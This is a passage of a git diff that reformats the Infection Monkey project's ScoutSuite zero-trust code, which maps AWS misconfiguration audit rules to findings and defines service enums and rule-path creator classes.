- EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL,
- EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL,
- EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL,
- EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL,
- EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL,
- EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF,
- EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP,
- EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE,
- EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS,
- VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS,
- VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS,
- VPCRules.NETWORK_ACL_NOT_USED,
- VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS,
- VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS,
- VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS,
- VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS,
- RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL,
- RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL
- ]
+ rules = [
+ EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL,
+ EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF,
+ EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS,
+ EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP,
+ EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET,
+ EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE,
+ EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS,
+ VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS,
+ VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS,
+ VPCRules.NETWORK_ACL_NOT_USED,
+ VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS,
+ VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS,
+ VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS,
+ VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS,
+ RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL,
+ RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL,
+ ]
test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES
class UnencryptedData(ScoutSuiteFindingMap):
- rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED,
- EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS,
- ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY,
- RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED,
- RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED,
- S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION,
- ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT,
- ELBRules.ELB_OLDER_SSL_POLICY]
+ rules = [
+ EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED,
+ EC2Rules.EBS_VOLUME_NOT_ENCRYPTED,
+ EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS,
+ ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT,
+ ELBv2Rules.ELBV2_OLDER_SSL_POLICY,
+ RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED,
+ RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED,
+ RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED,
+ S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT,
+ S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION,
+ ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT,
+ ELBRules.ELB_OLDER_SSL_POLICY,
+ ]
test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA
class DataLossPrevention(ScoutSuiteFindingMap):
- rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD,
- RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING,
- ELBv2Rules.ELBV2_NO_DELETION_PROTECTION]
+ rules = [
+ RDSRules.RDS_INSTANCE_BACKUP_DISABLED,
+ RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD,
+ RDSRules.RDS_INSTANCE_SINGLE_AZ,
+ S3Rules.S3_BUCKET_NO_MFA_DELETE,
+ S3Rules.S3_BUCKET_NO_VERSIONING,
+ ELBv2Rules.ELBV2_NO_DELETION_PROTECTION,
+ ]
test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION
@@ -91,7 +124,7 @@ class SecureAuthentication(ScoutSuiteFindingMap):
IAMRules.IAM_ROOT_ACCOUNT_NO_MFA,
IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS,
IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION,
- IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS
+ IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS,
]
test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION
@@ -153,7 +186,7 @@ class RestrictivePolicies(ScoutSuiteFindingMap):
SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY,
SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY,
SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY,
- RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE
+ RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE,
]
test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES
@@ -173,7 +206,7 @@ class Logging(ScoutSuiteFindingMap):
ELBv2Rules.ELBV2_NO_ACCESS_LOGS,
VPCRules.SUBNET_WITHOUT_FLOW_LOG,
ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED,
- RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED
+ RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED,
]
test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING
@@ -185,7 +218,7 @@ class ServiceSecurity(ScoutSuiteFindingMap):
ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING,
RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED,
RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE,
- RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE
+ RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE,
]
test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py
index d19c2b216..65f85aa9d 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py
@@ -1,5 +1,19 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import RestrictivePolicies, \
- SecureAuthentication, DataLossPrevention, UnencryptedData, PermissiveFirewallRules, ServiceSecurity, Logging
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import (
+ DataLossPrevention,
+ Logging,
+ PermissiveFirewallRules,
+ RestrictivePolicies,
+ SecureAuthentication,
+ ServiceSecurity,
+ UnencryptedData,
+)
-SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication,
- RestrictivePolicies, Logging, ServiceSecurity]
+SCOUTSUITE_FINDINGS = [
+ PermissiveFirewallRules,
+ UnencryptedData,
+ DataLossPrevention,
+ SecureAuthentication,
+ RestrictivePolicies,
+ Logging,
+ ServiceSecurity,
+]
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py
index a31c83d3e..abbd48164 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py
@@ -1,31 +1,31 @@
from enum import Enum
-SERVICES = 'services'
-FINDINGS = 'findings'
+SERVICES = "services"
+FINDINGS = "findings"
class SERVICE_TYPES(Enum):
- ACM = 'acm'
- AWSLAMBDA = 'awslambda'
- CLOUDFORMATION = 'cloudformation'
- CLOUDTRAIL = 'cloudtrail'
- CLOUDWATCH = 'cloudwatch'
- CONFIG = 'config'
- DIRECTCONNECT = 'directconnect'
- EC2 = 'ec2'
- EFS = 'efs'
- ELASTICACHE = 'elasticache'
- ELB = 'elb'
- ELB_V2 = 'elbv2'
- EMR = 'emr'
- IAM = 'iam'
- KMS = 'kms'
- RDS = 'rds'
- REDSHIFT = 'redshift'
- ROUTE53 = 'route53'
- S3 = 's3'
- SES = 'ses'
- SNS = 'sns'
- SQS = 'sqs'
- VPC = 'vpc'
- SECRETSMANAGER = 'secretsmanager'
+ ACM = "acm"
+ AWSLAMBDA = "awslambda"
+ CLOUDFORMATION = "cloudformation"
+ CLOUDTRAIL = "cloudtrail"
+ CLOUDWATCH = "cloudwatch"
+ CONFIG = "config"
+ DIRECTCONNECT = "directconnect"
+ EC2 = "ec2"
+ EFS = "efs"
+ ELASTICACHE = "elasticache"
+ ELB = "elb"
+ ELB_V2 = "elbv2"
+ EMR = "emr"
+ IAM = "iam"
+ KMS = "kms"
+ RDS = "rds"
+ REDSHIFT = "redshift"
+ ROUTE53 = "route53"
+ S3 = "s3"
+ SES = "ses"
+ SNS = "sns"
+ SQS = "sqs"
+ VPC = "vpc"
+ SECRETSMANAGER = "secretsmanager"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py
index 935f1c989..7db9a5988 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py
@@ -2,8 +2,9 @@ from enum import Enum
from common.utils.code_utils import get_value_from_dict
from common.utils.exceptions import RulePathCreatorNotFound
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \
- RULE_PATH_CREATORS_LIST
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( # noqa: E501
+ RULE_PATH_CREATORS_LIST,
+)
def __build_rule_to_rule_path_creator_hashmap():
@@ -18,7 +19,6 @@ RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap()
class RuleParser:
-
@staticmethod
def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict:
rule_path = RuleParser._get_rule_path(rule_name)
@@ -34,5 +34,7 @@ class RuleParser:
try:
return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name]
except KeyError:
- raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign"
- f"this rule to any rule path creators.")
+ raise RulePathCreatorNotFound(
+ f"Rule path creator not found for rule {rule_name.value}. Make sure to assign"
+ f"this rule to any rule path creators."
+ )
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py
index ee7f7c38b..56734e1a0 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py
@@ -2,12 +2,16 @@ from abc import ABC, abstractmethod
from enum import Enum
from typing import List, Type
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import (
+ FINDINGS,
+ SERVICE_TYPES,
+)
class AbstractRulePathCreator(ABC):
-
@property
@abstractmethod
def service_type(self) -> SERVICE_TYPES:
@@ -20,5 +24,5 @@ class AbstractRulePathCreator(ABC):
@classmethod
def build_rule_path(cls, rule_name: Enum) -> List[str]:
- assert(rule_name in cls.supported_rules)
+ assert rule_name in cls.supported_rules
return [cls.service_type.value, FINDINGS, rule_name.value]
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py
index 10adb474c..55f718608 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import (
+ CloudformationRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class CloudformationRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.CLOUDFORMATION
supported_rules = CloudformationRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py
index 2f626dfd5..1f764ec8b 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import (
+ CloudTrailRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class CloudTrailRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.CLOUDTRAIL
supported_rules = CloudTrailRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py
index f6d4d673d..573d129ee 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import (
+ CloudWatchRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class CloudWatchRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.CLOUDWATCH
supported_rules = CloudWatchRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py
index 59a2e49eb..45cc2e3d6 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import (
+ ConfigRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class ConfigRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.CONFIG
supported_rules = ConfigRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py
index 4a37b0a7e..41e42180b 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class EC2RulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.EC2
supported_rules = EC2Rules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py
index a38ae2881..65b320292 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class ELBRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.ELB
supported_rules = ELBRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py
index 2472bf076..8a560f401 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class ELBv2RulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.ELB_V2
supported_rules = ELBv2Rules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py
index a601cb9cd..0ab9e686f 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class IAMRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.IAM
supported_rules = IAMRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py
index 0b8bf54af..56252a3f6 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class RDSRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.RDS
supported_rules = RDSRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py
index 4de7016a4..90ba44308 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py
@@ -1,10 +1,12 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import (
+ RedshiftRules,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class RedshiftRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.REDSHIFT
supported_rules = RedshiftRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py
index 4c0a0dccc..aa6f101aa 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class S3RulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.S3
supported_rules = S3Rules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py
index c7cac2bce..4530aa097 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py
